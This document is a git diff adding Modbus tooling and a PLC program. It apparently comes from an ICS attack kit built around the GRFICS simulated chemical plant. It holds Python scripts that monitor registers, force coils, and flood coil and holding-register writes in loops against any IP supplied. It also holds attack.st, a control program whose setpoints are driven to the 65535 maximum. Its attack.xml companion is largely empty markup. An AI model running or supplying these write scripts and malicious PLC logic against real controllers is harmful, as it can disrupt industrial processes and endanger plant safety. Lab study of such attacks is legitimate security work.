co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 